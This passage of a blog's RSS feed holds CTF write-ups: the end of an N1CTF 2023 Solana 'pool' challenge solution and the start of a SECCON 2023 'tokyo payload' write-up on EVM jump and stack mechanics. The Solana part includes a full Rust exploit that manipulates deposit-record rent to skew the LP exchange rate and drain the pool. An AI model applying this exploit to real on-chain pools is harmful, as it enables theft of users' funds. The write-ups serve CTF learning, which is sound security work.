let lamports_required_for_deposit_record = (Rent::get()?).minimum_balance(DepositRecord::LEN);
msg!(format!(&quot;lamports_required_for_deposit_record: {}&quot;, lamports_required_for_deposit_record).as_str()); // added for debug
**pool_account.lamports.borrow_mut() -= lamports_required_for_deposit_record; 
**deposit_record_account.lamports.borrow_mut() += lamports_required_for_deposit_record;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;What's notable is that the program records our data on-chain and that itself covers the rent cost by using pool balance.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1698033399536&quot; class=&quot;rs rust&quot; data-ke-language=&quot;rs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if deposit_record_data.lp_token_amount == 0 {
        // close deposit record account
    **pool_account.lamports.borrow_mut() += deposit_record_account.lamports();
    **deposit_record_account.lamports.borrow_mut() = 0;
    deposit_record_account.realloc(0, true)?;
    deposit_record_account.assign(system_program.key);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Also, if the record is no longer needed, the remaining amount is returned to the pool.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1698033005116&quot; class=&quot;rs rust&quot; data-ke-language=&quot;rs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;impl DepositRecord {
    pub const SEED_PREFIX: &amp;amp;'static str = &quot;RECOOORD&quot;;
    pub const LEN: usize = 0x2000; // I'm too lazy to calculate this
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;However, because the struct size is quite large, I could guess a significant cost is incurred.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I checked the logs from the server and revealed that about 0.05 SOL was paid.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;As this amount is deducted from the pool account, it ultimately impacts the LP:token exchange rate.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- scenario&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Create many DepositRecords in order to make pool balance 0.000000001SOL.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. Deposit all our balance(0.9SOL) to the pool.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. Remove all DepositRecords made in 1-step.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. FInally, withdraw our all tokens made in 2-step.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;solve&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;added in main.rs&lt;/p&gt;
&lt;pre id=&quot;code_1698033664595&quot; class=&quot;rs rust&quot; data-ke-language=&quot;rs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    // added
    writeln!(stream, &quot;m {}&quot;, &quot;28prS7e14Fsm97GE5ws2YpjxseFNkiA33tB5D3hLZv3t&quot;)?;
    for i in 0..20 {
        let (deposit_record_account_pda, _) = Pubkey::find_program_address(&amp;amp;[chall::state::DepositRecord::SEED_PREFIX.as_bytes(), pool.as_ref(), user.as_ref(), [i].to_vec().as_ref()], &amp;amp;chall_id);
        writeln!(stream, &quot;mw {}&quot;, deposit_record_account_pda)?;
    }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;processor.rs&lt;/p&gt;
&lt;pre id=&quot;code_1698033623215&quot; class=&quot;rs rust&quot; data-ke-language=&quot;rs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;use borsh::{BorshSerialize, BorshDeserialize};

use solana_program::{
    account_info::{
        next_account_info,
        AccountInfo,
    },
    entrypoint::ProgramResult,
    instruction::{
        AccountMeta,
        Instruction,
    },
    program::invoke,
    pubkey::Pubkey, log,
};

pub fn process_instruction(_program: &amp;amp;Pubkey, accounts: &amp;amp;[AccountInfo], _data: &amp;amp;[u8]) -&amp;gt; ProgramResult {
    let accounts_iter = &amp;amp;mut accounts.iter();
    let admin = next_account_info(accounts_iter)?;
    let user = next_account_info(accounts_iter)?;
    let user_token_account = next_account_info(accounts_iter)?;
    let pool = next_account_info(accounts_iter)?;
    let mint = next_account_info(accounts_iter)?;
    let chall_id = next_account_info(accounts_iter)?;
    let rent = next_account_info(accounts_iter)?;
    let token_program = next_account_info(accounts_iter)?;
    let associated_token_program = next_account_info(accounts_iter)?;
    let system_program = next_account_info(accounts_iter)?;
    let solve_program = next_account_info(accounts_iter)?;

    let mut records  = vec![];

    for i in 0..17 {
        records.push(next_account_info(accounts_iter)?);
    }

    if (**pool.lamports.borrow() &amp;gt; 800_000_000) &amp;amp;&amp;amp; (**user.lamports.borrow() &amp;gt; 800_000_000) {
        for i in 0..11 {
            let record_1 = records[i];
            let fisrt = Instruction::new_with_bytes(
                chall_id.key.clone(),
                &amp;amp;chall::processor::PoolInstruction::Deposit(100, [i as u8].to_vec()).try_to_vec().unwrap(),
                vec![
                    AccountMeta::new(pool.key.clone(), false),
                    AccountMeta::new(record_1.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(user_token_account.key.clone(), false),
                    AccountMeta::new(mint.key.clone(), false),
                    AccountMeta::new_readonly(token_program.key.clone(), false),
                    AccountMeta::new_readonly(associated_token_program.key.clone(), false),
                    AccountMeta::new_readonly(system_program.key.clone(), false),
                ],
            );
        
            invoke(&amp;amp;fisrt, 
                &amp;amp;[
                    pool.clone(),
                    user.clone(),
                    rent.clone(),
                    record_1.clone(),
                    user_token_account.clone(),
                    mint.clone(),
                    token_program.clone(),
                    system_program.clone(),
                    chall_id.clone(),
                    associated_token_program.clone(),
            ]);
        }
    }  else if (**pool.lamports.borrow() &amp;gt; 100_000_000) &amp;amp;&amp;amp; (**user.lamports.borrow() &amp;gt; 800_000_000) {
         {
            for i in 11..13 {
                let record_1 = records[i];
                let fisrt = Instruction::new_with_bytes(
                    chall_id.key.clone(),
                    &amp;amp;chall::processor::PoolInstruction::Deposit(100, [i as u8].to_vec()).try_to_vec().unwrap(),
                    vec![
                        AccountMeta::new(pool.key.clone(), false),
                        AccountMeta::new(record_1.key.clone(), false),
                        AccountMeta::new(user.key.clone(), true),
                        AccountMeta::new(user_token_account.key.clone(), false),
                        AccountMeta::new(mint.key.clone(), false),
                        AccountMeta::new_readonly(token_program.key.clone(), false),
                        AccountMeta::new_readonly(associated_token_program.key.clone(), false),
                        AccountMeta::new_readonly(system_program.key.clone(), false),
                    ],
                );
            
                invoke(&amp;amp;fisrt, 
                    &amp;amp;[
                        pool.clone(),
                        user.clone(),
                        rent.clone(),
                        record_1.clone(),
                        user_token_account.clone(),
                        mint.clone(),
                        token_program.clone(),
                        system_program.clone(),
                        chall_id.clone(),
                        associated_token_program.clone(),
                ]);
            }
            let record_1 = records[13];
            let fisrt = Instruction::new_with_bytes(
                chall_id.key.clone(),
                &amp;amp;chall::processor::PoolInstruction::Deposit(34_000_000 - 2_089_587, [13 as u8].to_vec()).try_to_vec().unwrap(), // 9588
                vec![
                    AccountMeta::new(pool.key.clone(), false),
                    AccountMeta::new(record_1.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(user_token_account.key.clone(), false),
                    AccountMeta::new(mint.key.clone(), false),
                    AccountMeta::new_readonly(token_program.key.clone(), false),
                    AccountMeta::new_readonly(associated_token_program.key.clone(), false),
                    AccountMeta::new_readonly(system_program.key.clone(), false),
                ],
            );
        
            invoke(&amp;amp;fisrt, 
                &amp;amp;[
                    pool.clone(),
                    user.clone(),
                    rent.clone(),
                    record_1.clone(),
                    user_token_account.clone(),
                    mint.clone(),
                    token_program.clone(),
                    system_program.clone(),
                    chall_id.clone(),
                    associated_token_program.clone(),
            ]);

            let record_1 = records[14];
            let fisrt = Instruction::new_with_bytes(
                chall_id.key.clone(),
                &amp;amp;chall::processor::PoolInstruction::Deposit(100, [14 as u8].to_vec()).try_to_vec().unwrap(),
                vec![
                    AccountMeta::new(pool.key.clone(), false),
                    AccountMeta::new(record_1.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(user_token_account.key.clone(), false),
                    AccountMeta::new(mint.key.clone(), false),
                    AccountMeta::new_readonly(token_program.key.clone(), false),
                    AccountMeta::new_readonly(associated_token_program.key.clone(), false),
                    AccountMeta::new_readonly(system_program.key.clone(), false),
                ],
            );
        
            invoke(&amp;amp;fisrt, 
                &amp;amp;[
                    pool.clone(),
                    user.clone(),
                    rent.clone(),
                    record_1.clone(),
                    user_token_account.clone(),
                    mint.clone(),
                    token_program.clone(),
                    system_program.clone(),
                    chall_id.clone(),
                    associated_token_program.clone(),
            ]);

            let record_1 = records[14];
            let fisrt = Instruction::new_with_bytes(
                chall_id.key.clone(),
                &amp;amp;chall::processor::PoolInstruction::Deposit(950_000_000, [14 as u8].to_vec()).try_to_vec().unwrap(),
                vec![
                    AccountMeta::new(pool.key.clone(), false),
                    AccountMeta::new(record_1.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(user_token_account.key.clone(), false),
                    AccountMeta::new(mint.key.clone(), false),
                    AccountMeta::new_readonly(token_program.key.clone(), false),
                    AccountMeta::new_readonly(associated_token_program.key.clone(), false),
                    AccountMeta::new_readonly(system_program.key.clone(), false),
                ],
            );
        
            invoke(&amp;amp;fisrt, 
                &amp;amp;[
                    pool.clone(),
                    user.clone(),
                    rent.clone(),
                    record_1.clone(),
                    user_token_account.clone(),
                    mint.clone(),
                    token_program.clone(),
                    system_program.clone(),
                    chall_id.clone(),
                    associated_token_program.clone(),
            ]);

            for i in 0..6 {
                let record_1 = records[i];
                let amt = chall::state::DepositRecord::try_from_slice(&amp;amp;record_1.data.borrow())?.lp_token_amount;
    
                let fisrt = Instruction::new_with_bytes(
                    chall_id.key.clone(),
                    &amp;amp;chall::processor::PoolInstruction::Withdraw(amt, [i as u8].to_vec()).try_to_vec().unwrap(),
                    vec![
                        AccountMeta::new(pool.key.clone(), false),
                        AccountMeta::new(record_1.key.clone(), false),
                        AccountMeta::new(user.key.clone(), true),
                        AccountMeta::new(user_token_account.key.clone(), false),
                        AccountMeta::new(mint.key.clone(), false),
                        AccountMeta::new_readonly(token_program.key.clone(), false),
                        AccountMeta::new_readonly(associated_token_program.key.clone(), false),
                        AccountMeta::new_readonly(system_program.key.clone(), false),
                    ],
                );

                invoke(&amp;amp;fisrt, 
                    &amp;amp;[
                        pool.clone(),
                        user.clone(),
                        rent.clone(),
                        record_1.clone(),
                        user_token_account.clone(),
                        mint.clone(),
                        token_program.clone(),
                        system_program.clone(),
                        chall_id.clone(),
                        associated_token_program.clone(),
                ]);
            }
        }


    } else {
        for i in 6..15 {
            let record_1 = records[i];
            let amt = chall::state::DepositRecord::try_from_slice(&amp;amp;record_1.data.borrow())?.lp_token_amount;


            let fisrt = Instruction::new_with_bytes(
                chall_id.key.clone(),
                &amp;amp;chall::processor::PoolInstruction::Withdraw(amt, [i as u8].to_vec()).try_to_vec().unwrap(),
                vec![
                    AccountMeta::new(pool.key.clone(), false),
                    AccountMeta::new(record_1.key.clone(), false),
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(user_token_account.key.clone(), false),
                    AccountMeta::new(mint.key.clone(), false),
                    AccountMeta::new_readonly(token_program.key.clone(), false),
                    AccountMeta::new_readonly(associated_token_program.key.clone(), false),
                    AccountMeta::new_readonly(system_program.key.clone(), false),
                ],
            );
        
            invoke(&amp;amp;fisrt, 
                &amp;amp;[
                    pool.clone(),
                    user.clone(),
                    rent.clone(),
                    record_1.clone(),
                    user_token_account.clone(),
                    mint.clone(),
                    token_program.clone(),
                    system_program.clone(),
                    chall_id.clone(),
                    associated_token_program.clone(),
            ]);
        }
    }

    Ok(())
}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/172</guid>
      <comments>https://gss1.tistory.com/entry/N1CTF-2023-blockchainpool-by-sec3#entry172comment</comments>
      <pubDate>Mon, 23 Oct 2023 13:01:57 +0900</pubDate>
    </item>
    <item>
      <title>SECCON CTF 2023 Quals - [misc, blockchain](tokyo payload)</title>
      <link>https://gss1.tistory.com/entry/SECCON-CTF-2023-Quals-misc-blockchaintokyo-payload</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/minaminao/tokyo-payload&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/minaminao/tokyo-payload&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;minaminao&quot; made a very interesting and hard blockchain challenge of which length is short in SECCON CTF 2023 Quals.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I felt like solving pwnable because I had to chain the payload like ROP.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I wasted a lot of time and effort during/after the competition and the reason was very trivial.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;That was the difference of bytecode between my local and the server environment.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I used Remix IDE which provides CLI and has a default compiler option of &quot;no optimize, --evm-version shanghai&quot;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;However, &quot;forge build&quot; of the server environment has &quot;--optimize&quot; and &quot;--evm-version paris&quot;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;745&quot; data-origin-height=&quot;602&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d1bnIm/btsuRFUaztF/uIKXfj5a5Z5ocxUbRFMhNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d1bnIm/btsuRFUaztF/uIKXfj5a5Z5ocxUbRFMhNk/img.png&quot; data-alt=&quot;Remix IDE&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d1bnIm/btsuRFUaztF/uIKXfj5a5Z5ocxUbRFMhNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd1bnIm%2FbtsuRFUaztF%2FuIKXfj5a5Z5ocxUbRFMhNk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;369&quot; height=&quot;298&quot; data-origin-width=&quot;745&quot; data-origin-height=&quot;602&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Remix IDE&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;251&quot; data-origin-height=&quot;59&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wkZS0/btsu7TKdYo0/WTHO5vJ5QvViRDFGADPtq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wkZS0/btsu7TKdYo0/WTHO5vJ5QvViRDFGADPtq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wkZS0/btsu7TKdYo0/WTHO5vJ5QvViRDFGADPtq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwkZS0%2Fbtsu7TKdYo0%2FWTHO5vJ5QvViRDFGADPtq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;191&quot; height=&quot;45&quot; data-origin-width=&quot;251&quot; data-origin-height=&quot;59&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;260&quot; data-origin-height=&quot;48&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/X7fm4/btsu0EUAUS6/uwQfiGkQRiaSzs19PTKrgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/X7fm4/btsu0EUAUS6/uwQfiGkQRiaSzs19PTKrgK/img.png&quot; data-alt=&quot;TokyoPayload.json (forge build)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/X7fm4/btsu0EUAUS6/uwQfiGkQRiaSzs19PTKrgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FX7fm4%2Fbtsu0EUAUS6%2FuwQfiGkQRiaSzs19PTKrgK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;200&quot; height=&quot;37&quot; data-origin-width=&quot;260&quot; data-origin-height=&quot;48&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;TokyoPayload.json (forge build)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I rewrote my payload four times until I found out this and recognized that the bytecode was different after seeing the excessive transaction gas usage.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1141&quot; data-origin-height=&quot;54&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bg1q5h/btsvdsZfpdN/lAA9Kyzg3uGZpDC97Seupk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bg1q5h/btsvdsZfpdN/lAA9Kyzg3uGZpDC97Seupk/img.png&quot; data-alt=&quot;author's comment&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bg1q5h/btsvdsZfpdN/lAA9Kyzg3uGZpDC97Seupk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbg1q5h%2FbtsvdsZfpdN%2FlAA9Kyzg3uGZpDC97Seupk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1141&quot; height=&quot;54&quot; data-origin-width=&quot;1141&quot; data-origin-height=&quot;54&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;author's comment&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I think everyone who solves this problem has a different payload.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;My payload is complicated and long, so I recommend you look at other payloads.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Background&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Through this challenge, I learned so much interesting something about EVM and Solidity.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Let's assume that optimization is not applied.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;EVM is a state machine using Stack, Memory, PC, etc.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;When we call a function, we pass function arguments and return value through the stack and memory.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.evm.codes/?fork=shanghai&quot;&gt;https://www.evm.codes/?fork=shanghai&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Calling a function within the contract means that we move Program Counter to staring point of the corresponding function opcode via JUMP.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Only JUMPDEST is allowed as the destination of JUMP, otherwise it reverts.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We can find the destnation index through deployed bytecode.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The caller should push JUMPDEST to return, JUMPDEST to go, and arguments to the stack.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The callee should clean the space they used. e.g. If they received some arguments from the caller, they should pop them.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;without argument&lt;/h3&gt;
&lt;pre id=&quot;code_1695303793698&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function fun1() public {
    fun2();
}

function fun2() public {
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1695303964733&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;tag 4			function fun1() public {\r\n  ...
  JUMPDEST 			function fun1() public {\r\n  ...
  PUSH [tag] 7			function fun1() public {\r\n  ...
  PUSH [tag] 8			function fun1() public {\r\n  ...
  JUMP 			function fun1() public {\r\n  ...
tag 7			function fun1() public {\r\n  ...
  JUMPDEST 			function fun1() public {\r\n  ...
  STOP 			function fun1() public {\r\n  ...
tag 8			function fun1() public {\r\n  ...
  JUMPDEST 			function fun2() public {\r\n  ...
  JUMP&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PC =&amp;gt; JUMP&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[0] = destination addr&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[1] = return addr&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;with arguments&lt;/h3&gt;
&lt;pre id=&quot;code_1695304287495&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function fun1() public {
    fun2(0x8, 0x9);
}

function fun2(uint a, uint b) public {
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1695304275728&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;tag 6			function fun1() public {\r\n  ...
  JUMPDEST 			function fun1() public {\r\n  ...
  PUSH [tag] 12			fun2(0x8, 0x9)
  PUSH 8			0x8
  PUSH 9			0x9
  PUSH [tag] 10			fun2
  JUMP 			fun2(0x8, 0x9)
tag 12			fun2(0x8, 0x9)
  JUMPDEST 			fun2(0x8, 0x9)
  JUMP 			function fun1() public {\r\n  ...
tag 10			function fun2(uint a, uint b) ...
  JUMPDEST 			function fun2(uint a, uint b) ...
  POP 			function fun2(uint a, uint b) ...
  POP 			function fun2(uint a, uint b) ...
  JUMP 			function fun2(uint a, uint b) ...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PC =&amp;gt; JUMP&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[0] = destination addr&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[1] = arg0&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[2] = arg1&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stack[3] = return addr&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;without return&lt;/h3&gt;
&lt;pre id=&quot;code_1695345313342&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function fun1() public {
    fun2();
}

function fun2() public {
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1695345255976&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;tag 4			function fun1() public {\r\n  ...
  JUMPDEST 			function fun1() public {\r\n  ...
  PUSH [tag] 7			function fun1() public {\r\n  ...
  PUSH [tag] 8			function fun1() public {\r\n  ...
  JUMP 			function fun1() public {\r\n  ...
tag 7			function fun1() public {\r\n  ...
  JUMPDEST 			function fun1() public {\r\n  ...
  STOP 			function fun1() public {\r\n  ...
tag 6			function fun2() public {\r\n  ...
  JUMPDEST 			function fun2() public {\r\n  ...
  JUMP 			function fun2() public {\r\n  ...
tag 8			function fun1() public {\r\n  ...
  JUMPDEST 			function fun1() public {\r\n  ...
  PUSH [tag] 11			fun2()
  PUSH [tag] 6			fun2
  JUMP 			fun2()
tag 11			fun2()
  JUMPDEST 			fun2()
  JUMP 			function fun1() public {\r\n  ...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PC = JUMP&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stack[0] = ret addr&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;with return&lt;/h3&gt;
&lt;pre id=&quot;code_1695345110110&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function fun1() public {
    fun2();
}

function fun2() public returns(uint, uint) {
    return (0x8, 0x9)
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1695345069683&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;tag 4			function fun1() public {\r\n  ...
  JUMPDEST 			function fun1() public {\r\n  ...
